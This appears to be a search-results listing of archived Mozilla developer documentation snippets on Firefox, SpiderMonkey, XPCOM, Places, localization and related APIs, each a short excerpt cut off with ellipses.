is an nsifile downloadlastdir.setfile(uri, file); to retrieve the path in firefox 26 or later, use getfileasync: downloadlastdir.getfileasync(uri, function (file) { // file is an nsifile console.log(file); }); deprecated since gecko 26.0 to retrieve the path in firefox 25 or earlier, use getfile: // file is an nsifile var file = gdownloadlastdir.getfile(uri); console.log(file); private browsing mode when browsing normally, the browser uses the browser.download.lastdir preference to store the last download directory path. however, when private browsing mode is enabled, the last download directory path is instead maintained in memory, and the preference is not changed. when the user exits private browsing mode, the last download directory value is reverted to the preference's value. ...
...er uses the browser.download.lastdir preference to store the last download directory path. however, when private browsing mode is enabled, the last download directory path is instead maintained in memory, and the preference is not changed. when the user exits private browsing mode, the last download directory value is reverted to the preference's value. when history is cleared when the user's browsing history is cleared, the value of the last download directory path is restored to the platform's default download directory path. ...
Interfacing with the Add-on Repository
addoninstall object that can be used with the add-on manager api to install the add-on. ...
...ect that can be used with the add-on manager api to install the add-on. ...
Log.jsm
this module is still under development. until stabilized, expect frequent updates, including different interfaces and behavior in different versions of the platform. progress is tracked in bugzilla using dependencies of bug 451283. the log.jsm javascript code module (formerly named log4moz.js) provides a log4j style api for logging log messages to various endpoints, such as the browser console or a file on disk. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code. // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers und...
...les/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code. // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console. log.addappender(new log.consoleappender(new log.basicformatter())); // a dump appender logs to stdout. log.addappender(new log.dumpappender(new log.basicformatter())); // log some messages log.error("oh noes!! something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error", new error("ouch")); logger ...
Task.jsm
ameters atask this parameter accepts different data types: if you specify a generator function, it is called with no arguments to retrieve the associated iterator. the generator function is a task, that is can yield promise objects to wait upon. the promise returned by the task either fulfills with the returned value if generator returns or rejects with the thrown error if the generator throws. if you specify the iterator returned by a generator function you called, the generator function is also executed as a task. this allows you to call the function with arguments. the promise returned by the task either fulfills with the returned value if generator returns or rejects with the thrown error if the generator throws. if you specify a function that is not a generator, it is called w...
... examples general example cu.import("resource://gre/modules/task.jsm"); task.spawn(function* () { // this is our task. it is a generator function because it contains the // "yield" operator at least once. let's create a promise object, wait on // it and capture its resolution value. ...
Translation phase
...
... most critical strings for localizing in firefox, as well as a guide to understanding how they're organized. thunderbird enjoy safe, fast and easy email, mozilla-style. the thunderbird® email client includes intelligent spam filters, powerful search and customizable views. seamonkey seamonkey® is the all-in-one application formerly known as the "mozilla application suite", containing a web browser, a mail and newsgroups client, an html editor, web development tools, and an irc chat client. firefox mobile by adding firefox® to your mobile phone, you can access rich web content and enjoy your favorite firefox features wherever you go. lightning lightning is a popular calendaring, scheduling and task management extension. if your locale has an hg repository hosted on the mozilla serv...
Localization technical reviews
perform technical reviews: revision attachment contains only relevant files we run into exports that contain .xpi langpacks and other random files. make sure the top-level directory doesn't contain garbage. compare-locale we run the compare-locales tool on the new locale to get the statistics on translation of strings and report basic errors. defines.inc the file for each app (like browser/defines.inc) contains the names of all contributors that a localization team would like to credit the work to. localizers can specify the team responsible for the work by listing the name just after the moz_langpack_creator. the team can also wrap contributors with <em:contributor> tags just after the moz_langpack_contributors section. make sure that the the text content is wrapped with emptyl...
...anager/chrome/pipnss/pipnss.properties file that you should be aware of. it is best to look into each of these files to see if the localizer's strings might be too long. this is something to look for, but can be difficult to diagnose immediately. for more info, see bug 435874. check for bad migration of access keys in the past, it was common to find broken access keys for safari and camino in browser/chrome/browser/migration/migration.dtd. for this review, we look at this file to make sure that the access keys look normal. if they don't, we report any strange access keys or translations that localizers might have changed during their initial translation process. for more info about access keys in the technical review process, see bug 421893. no utf-7 in the intl.properties file firefox n...
Fonts for Mozilla 2.0's MathML engine
e character. some mathematical operators are also drawn by using glyphs for larger variants of the character (e.g. summation symbol) or by assembling glyphs for a few pieces of the character (e.g braces). these variant or part glyphs do not in general have unicode assignments, and so font-specific support is required for some characters. mozilla has general support for the common delimiters and arrows that have the necessary unicode assignments. for other characters, mozilla has font-specific support. in general, if the necessary glyphs are not available on the system then mozilla tries to stretch symbols using scale transforms, but that may result in a less pleasant rendering. to see mathml as intended, you need sufficient font support, which may mean installing some fonts. note that some web...
...unzip mathml-fonts.zip -d mathml-fonts then copy the mathml-fonts/resource/ directory somewhere on your web site and ensure that the woff files are served with the correct mime type. finally, include the mathml-fonts/resource/mathml.css style sheet in your web pages, for example by adding the following rule to the default style sheet of your web site: @import url('/path/to/resource/mathml.css'); browsers have default font-families in their user agent stylesheets. if necessary, you might want to modify the font-family on the <math> elements and, for gecko, the on ::-moz-math-stretchy pseudo element too. for example to force the use of stix fonts: math { font-family: stixgeneral; } ::-moz-math-stretchy { font-family: stixnonunicode, stixsizeonesym, stixsize1, stixgeneral; } try the mathml ...
Mozilla DOM Hacking Guide
ng an unknown property on the object (window, in our case). in getproperty(), we check if the property being set is "location". if that is the case, we call nsidomlocation::sethref(). in fact, when setting window.location, we really set window.location.href. this is all possible thanks to the magic of the interaction between xpconnect and the dom. the second example is the history object. other browsers allow the history object to be used like an array, e.g. history[1]. the behavior "act as an array" cannot be reflected in the idl itself. fortunately, xpconnect provides us with a way to make our class available as an array in javascript. i'm talking about the "scriptable flags". the nsixpcscriptable interface, implemented by the nsdomclassinfo class (see section) defines several flags, one of...
...fined nsdomclassinfo.cpp. the flags give special behavior through xpconnect. see also section 1.9. the nsdomclassinfodata objects are created in the sclassinfodata array by explicitly initializing it. here is the description of the structure: const char *mname: c-style string that is passed as second argument to the macro. it is the name of the javascript object that will be available in the browser through the dom. union { nsdomclassinfoconstructorfnc mconstructorfptr; nsdomclassinfoexternalconstructorfnc mexternalconstructorfptr; } u; this union is a pointer to a function typedef'ed: typedef nsiclassinfo* (*nsdomclassinfoconstructorfnc)(nsdomclassinfoid aid); or typedef nsiclassinfo* (*nsdomclassinfoexternalconstructorfnc) (const char* aname); it is initialized with the do...
Mozilla Development Tools
e code (mercurial and cvs) "trunk" development for gecko 1.9.1/firefox 3.5 and beyond uses the mercurial source code version control system. earlier releases and other products use the cvs version control system. if you are doing active development, checking out source code from one of these is preferable to downloading an archived snapshot, as you get up-to-the-minute changes. mxr you can browse the up-to-the-minute latest version of the source code online through a massively-hyperlinked source code browser (based on lxr) that lets you cross-reference function and variable names. bonsai bonsai is tree control (get it?). it is our home-grown web-based tool for watching the up-to-the-minute goings-on in our cvs repository (viewing checkins and log messages, reading diffs, etc.) t...
...r knowing when the tree is in flames. it is our home-grown web-based tool for watching the progress of the continuous builds that we run on multiple platforms. it is how we are able to tell when a checkin has broken the build on some platform, and how we know which person needs to be viciously flogged. bugzilla bugzilla is where developers can report bugs in the mozilla source releases, and browse an online database of already-reported bugs. doctor doctor is a web interface to cvs. it lets developers and others edit pages on the mozilla.org web site without having to use cvs. doctor lets you edit pages in wysiwyg mode if the pages contain the <?doctor enable_wysiwyg_mode ?> processing instruction. access doctor by clicking the "edit this page" link at the bottom of any mozilla.org we...
Refcount tracing and balancing
the name of a file, the log will be output to that file. you can also set it to 1 to log to stdout or 2 to log to stderr, but these logs are large and expensive to capture, so you probably don't want to do that. warning: you should never use this without xpcom_mem_log_classes and/or xpcom_mem_log_objects, because without some filtering the logging will be completely useless due to how slow the browser will run and how large the logs it produces will be. xpcom_mem_comptr_log this environment variable enables logging of additions and releases of objects into nscomptrs. this requires c++ dynamic casts, so it is not supported on all platforms. however, having an nscomptr log and using it in the creation of the balance tree allows addref and release calls that we know are matched to be e...
...ce to something vaguely tolerable. xpcom_mem_log_classes this variable should contain a comma-separated list of names which will be used to compare against the types of the objects being logged. for example: env xpcom_mem_log_classes=nsdocshell xpcom_mem_refcnt_log=./refcounts.log ./mach run this will log the addref and release calls only for instances of nsdocshell while running the browser using mach, to a file refcounts.log. note that setting xpcom_mem_log_classes will also list the serial number of each object that leaked in the "bloat log" (that is, the file specified by the xpcom_mem_bloat_log variable; see the bloatview documentation for more details). an object's serial number is simply a unique number, starting at one, that is assigned to the object when it is allocated. ...
powermetrics
the default sample period is 30,000 milliseconds (30 seconds), but that can be changed with the -i option. ...
... the default sample period is 30,000 milliseconds (30 seconds), but that can be changed with the -i option. ...
Phishing: a short definition
for a service. users look for these when logging in, and only enter their credentials when they recognize the user defined pictures or words. a study on the efficacy of security indicators, presented at the 2007 ieee symposium on security and privacy, suggests that the above countermeasures fail to protect the majority of users. ...
...des missing https or ev certificate indicators in a browser’s navigation bar. services assuming responsibility technical solutions can be more efficient if implemented to protect millions of users automatically. as most phishing attacks start with unsolicited email messages, a clear starting point is improving spam filters, thus reducing the number of fraudulent messages reaching users. web browser vendors too, are interested in protecting their users from phishing. after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to preventing fraud. since version 2.0, firefox has used google’s safebrowsing service, to detect known web forgeries, and display an alert instead of the fraudulent website. two-factor a...
Firefox Sync
it uses firefox accounts for account, authentication and key management. all data is encrypted and decrypted on each device; no sync data is ever transmitted to a server without being encrypted. ...
... it uses firefox accounts for account, authentication and key management. all data is encrypted and decrypted on each device; no sync data is ever transmitted to a server without being encrypted. ...
NSS_3.12_release_notes.html
bug 406647: libp...
...g 402731: pkix_pl_pk11certstore_crlquery will crash if fails to acquire dp cache. bug 406647: libpkix does not use user defined revocation checkers bug 407064: pkix_pl_ldapcertstore_buildcrllist should not fail if a crl fails to be decoded bug 421216: libpkix test nss_thread leaks a test certificate bug 301259: signtool usage message is unhelpful bug 389781: nss should be built size-optimized in browser builds on linux, windows, and mac bug 90426: use of obsolete typedefs in public nss headers bug 113323: the first argument to pk11_findcertfromnickname should be const. bug 132485: built-in root certs slot description is empty bug 177184: nss_cmsdecoder_cancel might have a leak bug 232392: erroneous root ca tests in nss libraries bug 286642: util should be in a shared library bug 287052: funct...
Shumway
ough shumway because it cannot be forced to behave worse than javascript (and webgl, etc.) allows. users with shumway enabled will still see your flash content, if compatible with shumway, even if flash player is installed but blocked. testing and what to do in case of trouble the first step is to directly test your flash content. the simple method is to install the shumway extension (or run a browser version with shumway included and enabled) and browse to your flash content with adobe flash player set "ask to activate" or "never activate" in firefox's add-ons menu (this will be listed as "shockwave flash" under the plugins tab). this will be the experience met by your users who are running that version of shumway. hopefully, this displays your content with acceptable quality. the next ste...
...y, itself. bugzilla is intended for problems with integrating shumway into firefox. end-users and less involved developers may report issues by hovering over "shumway" within flash content, clicking "report problems", and filling the form. performance and compatibility issues with flash content should be reported through github. from the main page for shumway at github, click on "issues" and browse the outstanding issues for similar bugs to contribute to. click on "new issue" to file a new entry if a duplicate is not found. please note that source code will be requested for the shumway developers to use as small test cases. there does not currently exist a private method to contribute source code. you could also directly commit bug fixes as pull requests. this would be very much appreciat...
Creating JavaScript tests
are closer to (and more easily converted to) test262 tests. (in fact, the test262 test suite is run as part of jstests.) practical differences between the two test suites: jstest new jstest files should be put the code in the appropriate subdirectory of js/src/tests/non262/, or, under some scenarios, contributed directly to the test262 repository. jstests run in both the shell and the browser (although you can specify that the test should be run in only one of the two locations). jstests automatically load js/src/tests/shell.js before they run, which creates a ton of functions. read more advice on jstests here. jit-test new jit-test files should be put in js/src/jit-test/tests/basic or one of the other appropriate subdirectories of jit-test/tests. jit-tests run only in the ...
...ls, someone -- probably you -- is going to have to figure out what went wrong. testing your test run your new test locally before checking it in (or posting it for review). nobody likes patches that include failing tests! see running automated javascript tests for instructions on how to run jstests or jit-tests. it's also a good sanity check to run each new test against an unpatched shell or browser. the test should fail if it's working properly. checking in completed tests tests are usually reviewed and pushed just like any other code change. just include the test in your patch. security-sensitive tests should not be committed until the corresponding bug has been made public. instead, ask a spidermonkey peer how to proceed. it is ok under certain circumstances to push new tests to cer...
Index
nce, reference, référence(2), spidermonkey js_numbervalue converts a c floating-point number of type double to js::value, the type of javascript values. 420 js_objectisdate date, jsapi reference, javascript, spidermonkey js_objectisdate() can be used to check if you are dealing with a date object, or a date object used across compartments (or windows or sites, in the browser embedding). this function returns true if the object is a date. 421 js_objectisfunction jsapi reference, reference, référence(2), spidermonkey js_objectisfunction tests whether obj is a function object (faster than comparing obj's class name to function, but equivalent unless someone has overwritten the function identifier with a different constructor and then created in...
... suspends the calling thread's current request, if any, to allow the thread to block or perform time-consuming calculations. 488 js_threadsafe jsapi reference, spidermonkey js_threadsafe was a compile-time option that enables support for running multiple threads of javascript code concurrently as long as no objects or strings are shared between them. 489 js_throwstopiteration jsapi reference, spidermonkey js_throwstopiteration throws the appropriate stopiteration object for the function currently executing in cx. 490 js_toggleoptions jsapi reference, obsolete, spidermonkey js_toggleoptions toggles context-wide options. it is equivalent to js_setoptions(cx, js_getoptions(cx) ^ options). 491 js_tracerinit jsapi r...
Statistics API
get access to this data: the environment variable moz_gctimer controls text dumping of gc stats. moz_gctimer may be none, stderr, stdout, or a filename. if a filename is given, data is appended to that file. when logging to a file is used in combination with multi-process firefox (e10s) it is necessary to set security.sandbox.content.level = 0, otherwise the content process will crash. the browser preference javascript.options.mem.log controls dumping of human-readable gc stats messages to the developer console. the browser preference javascript.options.mem.notify controls emission of json encoded gc stats to an observer interface. json api addons can obtain the complete data in json format via an observer. the following adds an observer using the jetpack framework. var prefs = requ...
...ep_tables, sweep_compartments phases and so on. the times object gives how much time was spent in each phase of the gc, in milliseconds. additionally, an incremental gc is divided into a series of slices (the division into slices is completely separate from the division into phases; neither one is a refinment of the other). a little bit of gc work is done in each slice. in between slices, other browser code is allowed to run. the slices array describes how long each slice took and what work was done during the slice. each element of the slices array is an object with these fields: slice: integer - the slice index, starting at 0. pause: number (milliseconds) - the slice duration. when: number (milliseconds) - the time this slice started, relative to the first slice's start time. reason: ...
JS_GetGlobalObject
try to avoid using it. retrieves a context's global object. (in javascript, global variables are stored as properties of the global object.) syntax jsobject * js_getglobalobject(jscontext *cx); name type description cx jscontext * the context from which to retrieve the global object. description this function is obsolete: use js_getglobalforobject or js_getglobalforscopechain instead. ...
...ject or js_getglobalforscopechain instead. the concept of a global object belonging to a context will likely be phased out in future versions of spidermonkey. js_getglobalobject retrieves the global object for a specified jscontext *, cx. this returns null if cx has no global object. spidermonkey supports applications that have multiple global objects, such as the various window objects in a web browser. the object returned by js_getglobalobject is not necessarily the same thing as the global object seen by any javascript code that runs in cx! if a function is executing, the global object used by that function is determined when the function is created. furthermore, some jsapi functions, such as js_executescript, allow the caller to specify a global object in which the script executes. in eith...
JS_SetThreadStackLimit
obsolete since jsapi 13this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. enable or disable checks to avoid overflowing the c stack. this is deprecated, use js_setnativestackquota instead. syntax void js_setthreadstacklimit(jscontext *cx, jsuword limitaddr) name type description cx jscontext * the context to configure. limitaddr jsuword an address near the top of the c stack. this should be a safely writeable address well short of the actual top of the stack. ...
...nstead. syntax void js_setthreadstacklimit(jscontext *cx, jsuword limitaddr) name type description cx jscontext * the context to configure. limitaddr jsuword an address near the top of the c stack. this should be a safely writeable address well short of the actual top of the stack. description js_setthreadstacklimit sets the maximum (if stack grows upward) or minimum (downward) legal stack byte address in limitaddr for the thread or process stack used by cx. to disable stack size checking, pass 0 for limitaddr. in a js_threadsafe build, after passing a jscontext from one thread to another, call js_setthreadstacklimit(cx, 0) after calling js_setcontextthread. (see also js_setcontextthread and js_clearcontextthread.) see also mxr id search ...
JS_ValueToString
try to avoid using it. convert a jsval to a jsstring. syntax jsstring * js_valuetostring(jscontext *cx, jsval v); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v jsval the value to convert. description js_valuetostring converts a specified javascript value, v, to a string. it implements the tostring operator specified in ecma 262-3 §9.8. ...
...tstub, which simply calls v.valueof() if present. if the convert callback produces a primitive value, the value is converted to a string as described above and conversion succeeds. otherwise conversion fails with a typeerror. on success, js_valuetostring returns a pointer to a string. on error or exception, it returns null. this happens, for example, if v is an object and v.tostring() throws an exception. the resulting jsstring is subject to garbage collection. protect it using a local root, an object property, or the js_addroot function. see also bug 933834 js::tostring ...
Parser API
discriminant: expression; cases: [ switchcase ]; lexical: boolean; } a switch statement. the lexical flag is metadata indicating whether the switch statement contains any unnested let declarations (and therefore introduces a new lexical scope). interface returnstatement <: statement { type: "returnstatement"; argument: expression | null; } a return statement. interface throwstatement <: statement { type: "throwstatement"; argument: expression; } a throw statement. interface trystatement <: statement { type: "trystatement"; block: blockstatement; handler: catchclause | null; guardedhandlers: [ catchclause ]; finalizer: blockstatement | null; } a try statement. note: multiple catch clauses are spidermonkey-specific. interface whilestat...
...statement node. returnstatement(arg[, loc]) arg: customexpression | null loc: sourcelocation returns: customstatement callback to produce a custom return statement node. trystatement(body, handlers, fin[, loc]) body: customstatement handlers: [ customcatchclause ] fin: customstatement | null loc: sourcelocation returns: customstatement callback to produce a custom try statement node. throwstatement(arg[, loc]) arg: customexpression loc: sourcelocation returns: customstatement callback to produce a custom throw statement node. debuggerstatement([loc]) loc: sourcelocation returns: customstatement callback to produce a custom debugger statement node. letstatement(head, body[, loc]) head: [ customdeclarator ] body: customstatement loc: sourcelocation returns: customstatemen...
History Service Design
placement for the firefox bookmarks and history systems using storage. this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers. view the service interface definition: nsinavhistoryservice.idl. objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views. the user can query his visits based on a date range, meta contents or revisit behavior. this involves storing informations on all of the user's visits, i...
... allows searchs through bookmarks, history, keywords (and much more) detaching the user from the old long searches through tree views. this is possible through a relevance algorithm that assigns a param called frecency to every page in history, see the places frecency algorithm for major informations. history service provides the basics to create such adaptive search paths, allowing for a better browsing experience through a common interface. long term objectives include the ability to index more informations from the visited pages, through fulltext indexes, and the possibility to generalize the frecency algorithm to allow for its use in user's queries. might be also nice to provide a hook for third-party products so they can provide text searching capabilities to the places system. places c...
Using the Places annotation service
places database design, see the places database. most methods in the service are duplicated with one method labeled as a 'page annotation' taking an nsiuri and the others labeled as an 'item annotation' and taking the id of an item in the places database. which one to use is usually dictated by the application. ...
...ich one to use is usually dictated by the application. uri's are easier to use for services that want to annotate a web page loaded in the browser, while id's are easier to use for services already working with the places database. id's also offer the ability to add annotations to containers and queries of the database. creating the annotation service the annotation contract id is @mozilla.org/browser/annotation-service;1 var annotationservice = components.classes["@mozilla.org/browser/annotation-service;1"] .getservice(components.interfaces.nsiannotationservice); note that the annotation service is not thread-safe. you should only use it from the main thread. naming your annotations for your annotation name, you should use the format <namespace>/<name>...
XPCOM changes in Gecko 2.0
file and load those components. this gets enough of xpcom loaded and running that we can then load the extension manager and perform the necessary installing, uninstalling, and updating of any installed extensions. once that's done, the extensions can then be loaded by simply reading their manifests, loading their components, and continuing the startup process, all without having to restart the browser. electrolysis content processes can simply read the component registrations during startup. xpcnativewrapper changes you can't disable xpcnativewrappers from your manifest specifying xpcnativewrappers=no in your manifest (that is, xpcnativewrapper automation) is no longer supported. this was always intended to be a short-term workaround to allow extensions to continue to work while their author...
...e defines a window.delete() function that you need to call. if, on the other hand, all you're doing with content is accessing dom methods and properties, you've never needed to be using xpcnativewrappers=no in the first place, and should simply remove it from your manifest. miscellaneous xpcnativewrapper changes using the delete operator on "expando" properties of an xpcnativewrapper no longer throws a security exception. xpcomutils.jsm changes the xpcomutils.jsm code module has been updated to let you specify the application ids of the applications you wish to register your component in. xpcom service getters a number of commonly used xpcom services now have service getter functions available in the mozilla::services namespace; these make it much easier to get access to these services from ...
Components.Constructor
ly, with only the base interface nsisupports available on it; you must call nsisupports.queryinterface() on it to call methods on the object. ...
...ization method called on it. ...
Components.utils.isXrayWrapper
object. any expando properties are not visible, and if any native properties have been redefined, this has no effect. ...
...e been redefined, this has no effect. use this function to determine whether a given object is an xray or not. ...
Components.utils.waiveXrays
bject. if obj is not an xray, this function just returns obj. ...
...ge script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection: // chrome code // contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waivexrays(gbrowser.contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.is...
mozIPlacesAutoComplete
behavior_bookmark 1 << 1 search though bookmarks. behavior_tag 1 << 2 search through tags. behavior_title 1 << 3 search the title of pages. behavior_url 1 << 4 search the url of pages. behavior_typed 1 << 5 search for typed pages. behavior_javascript 1 << 6 search javascript: urls. behavior_openpage 1 << 7 search for pages that have been marked as being opened, such as a tab in a tabbrowser. methods registeropenpage() mark a page as being currently open. note: pages will not be automatically unregistered when private browsing mode is entered or exited. therefore, consumers must unregister or register themselves. void registeropenpage( in nsiuri auri ); parameters auri the uri to register as an open page. unregisteropenpage() mark a page as no longer being open (either by ...
...therefore, consumers must unregister or register themselves. void unregisteropenpage( in nsiuri auri ); parameters auri the uri to unregister as an open page. ...
mozIRegistry
we've chosen, up till now, to store that information in the "netscape registry" file. which explains how this information came to be associated with the notion of a "registry." someday (i hope) this page will be properly titled so that everybody knows it is the place to come to in order to find out how they are supposed to link together the various xpcom components that together form the mozilla browser. the information below is intended to tell you everything you need to know about how to do that. summary clients will rely on nsrepository to create instances of a given class. clients requiring dynamic "binding" of clsids will be required to use some higher-level services (tbd) to figure out the clsids they should use. the intent is that such services themselves be built on top of the new m...
... not be utilized by nsrepository. it is envisioned that there will be multiple flavors of underlying rdf data sources corresponding to the libreg .reg file(s), the shared libraries installed, additional components accessible via the 'net, etc. the contents of this rdf data base will be stored in a plain-text rdf/xml file so that it can easily be viewed edited. it will also facilitate building a browser-based application that will allow people to display and edit its contents. original document information author: bill law last updated date: january 21, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
mozIStorageService
file. abackupparentdirectory optional the directory to put the backup into. if this is not specified, the backup is placed in the same directory as the original file. return value an nsifile object representing the newly-created backup file. opendatabase() opens a database connection to the specified file. the specified file is created if it does not already exist. if this method throws ns_error_file_corrupted, it's recommended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet). consumers should check mozistorageconnection.connectionready to ensure that they can use the database. if this value is false, it is strongly recommended that the database be backed up with mozi...
...ragekey a string key identifying the type of storage requested. valid values are "profile" and "memory". return value a new mozistorageconnection providing access to the requested database. exceptions thrown ns_error_invalid_arg if astoragekey is invalid. openunshareddatabase() opens a database connection to the specified file without using a shared cache. if this method throws ns_error_file_corrupted, it's recommended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet). each connection uses its own sqlite cache, which is inefficient, so you should use opendatabase() instead of this method unless you need a feature of sqlite that is incompatible with a shared ca...
nsIAccessibleProvider
for details. read only. constants common use constants constant value description noaccessible 0 do not create an accessible for this object this is useful if an ancestor binding already implements nsiaccessibleprovider, but no accessible is desired for the inheriting binding. outerdoc 0x00000001 for elements that spawn a new document. for example now it is used by <xul:iframe>, <xul:browser> and <xul:editor>. xul controls constants constant value description xulalert 0x00001001 xulbutton 0x00001002 xulcheckbox 0x00001003 xulcolorpicker 0x00001004 xulcolorpickertile 0x00001005 xulcombobox 0x00001006 xuldropmarker 0x00001007 xulgroupbox 0x00001008 xulimage 0x00001009 xullink 0x0000100a xullistbox 0x0000100b xullistcell 0x00001026 ...
... xultabbox 0x00001018 a combination of a tabs object and a tabpanels object. xultabs 0x00001019 the collection of tab objects, usable in the tabbox and independent of as well. xultext 0x0000101a xultextbox 0x0000101b xulthumb 0x0000101c xultree 0x0000101d xultreecolumns 0x0000101e xultreecolumnitem 0x0000101f xultoolbar 0x00001020 xultoolbarsep...
nsIAccessibleTreeCache
try to avoid using it. a private interface to operate with tree accessible. accessible/public/nsiaccessibletreecache.idlnot scriptable please add a summary to this article. ...
... column is used. it makes sense for atk only. return value the nsiaccessible corresponding to the specified tree cell. invalidatecache() invalidates the number of cached treeitem accessibles. void invalidatecache( in long arow, in long acount ); parameters arow row index the invalidation starts from. acount the number of treeitem accessibles to invalidate, the number sign specifies whether rows have been inserted (plus) or removed (minus) treeviewchanged() invalidates children created for the previous tree view. void treeviewchanged(); parameters none. treeviewinvalidated() fires name change events for invalidated area of tree. void treeviewinvalidated( in long astartrow, in long aendrow, in long astartcol, in long aendcol ); parameters astartrow row index invalidation start...
nsIClipboardDragDropHooks
rable trans); methods allowdrop() tells gecko whether a drop is allowed on this content area. boolean allowdrop( in nsidomevent event, in nsidragsession session ); parameters event the dom event (drag gesture). session the drag session from which client can get the flavors present or the actual data. return value true indicates to the operating system that if a drop does happen on this browser, it will be accepted. otherwise, false to indicates to the operating system that drop is not allowed. on win32, this will change the cursor to "reject". allowstartdrag() prevents the drag from starting. boolean allowstartdrag( in nsidomevent event ); parameters event the dom event (drag gesture). return value true if the drag can proceed. otherwise, false to show the drag is canceled (does...
...aevent the dom event (drag drop). null if triggered by copy. trans the transferable holding the list of flavors and the data for each flavor. return value true to indicate that copy/drag can proceed. otherwise, false to indicate that the copy/drag is canceled, does not go to operating system. onpasteordrop() provide an alternative action to the built-in behavior when something is dropped on the browser or in an editor. boolean onpasteordrop( in nsidomevent event, in nsitransferable trans ); parameters event the dom event (drag drop); null if triggered by paste. trans the transferable holding the list of flavors and the data for each flavor. return value true to indicate the action was handled, do not perform built-in behavior. otherwise, false to indicate the action was not overridden,...
nsIContentViewManager
content/base/public/nsiframeloader.idlscriptable manages the content views contained in a browser 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the view manager for a document, you can queryinterface() the nsiframeloader object to nsicontentviewmanager. see getting access to content views for details. once you have the view manager, you can call getcontentviewsin() to get a list of the content views for a given portion of the browser display, then use those nsicontentview objects to manipulate the content views. method overview void getcontentviewsin(in float axpx, in float aypx, in float atopsize, in float arightsize, in float abottomsize, in ...
...ut unsigned long alength, [retval, array, size_is(alength)] out nsicontentview aresult); attributes attribute type description rootcontentview nsicontentview the root content view. read only. methods getcontentviewsin() returns an array of nsicontentview objects representing all of the content views that intersect with the specified rectangle in the browser. note: the rectangle is specified using an anchor point, then four distances to indicate how far in each direction to expand the rectangle. this lets you, for example, take the coordinates at which the user clicked (or touched) the screen, and expand outward to create a rectangle from that point. pixels are in chrome device pixels and are relative to the browser element. void getcontentviews...
nsICookieStorage
obsolete since gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this interface represents the storage repository for cookies. modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a summary to this article. last changed in gecko 1.7 inherits from: nsisupports method overview void getcookie(in string acookieurl, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store. void getcookie( in string acookieurl, i...
... void setcookie( in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize ); parameters acookieurl url string to look up cookie with.. acookiebuffer buffer containing cookie data. acookiesize specifies size of cookie data. ...
nsIDOMNSHTMLDocument
bsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) this method never did anything but throw an exception, and was removed entirely in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11). boolean execcommandshowhelp( in domstring commandid ); parameters commandid the name of the command. return value this method is not supported and always throws an exception. getselection() domstring getselection(); parameters none. return value the text of the current selection, the same as window.getselection.tostring(). open() nsidomdocument open( in acstring acontenttype, in boolean areplace ); parameters acontenttype the content type of the new document. if the type is not supported by the html content sink, trying to write to the doc...
...since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) this method never did anything but throw an exception, and was removed entirely in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11). domstring querycommandtext( in domstring commandid ); parameters commandid the name of the command to query. return value this method is not supported and always throws an exception. querycommandvalue() domstring querycommandvalue( in domstring commandid ); parameters commandid the name of the command to query. return value the value of the command. for the gethtml command, the current selection is returned as an html source fragment. releaseevents() provided for compatibility with netscape 4.x, but does not actually do anything. void releaseevents(...
nsIDOMStorageWindow
s last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface has been merged into nsidomwindow, and this interface has been removed. attributes attribute type description globalstorage nsidomstoragelist global storage, accessible by domain. read only. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. moz_indexeddb nsiidbfactory indexed databases for the current browsing context. read only. sessionstorage nsidomstorage session storage for the current browsing context. data stored in session storage may be accessed ...
...ored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. moz_indexeddb nsiidbfactory indexed databases for the current browsing context. read only. sessionstorage nsidomstorage session storage for the current browsing context. data stored in session storage may be accessed by any site in the browsing context. read only. ...
nsIDOMWindow
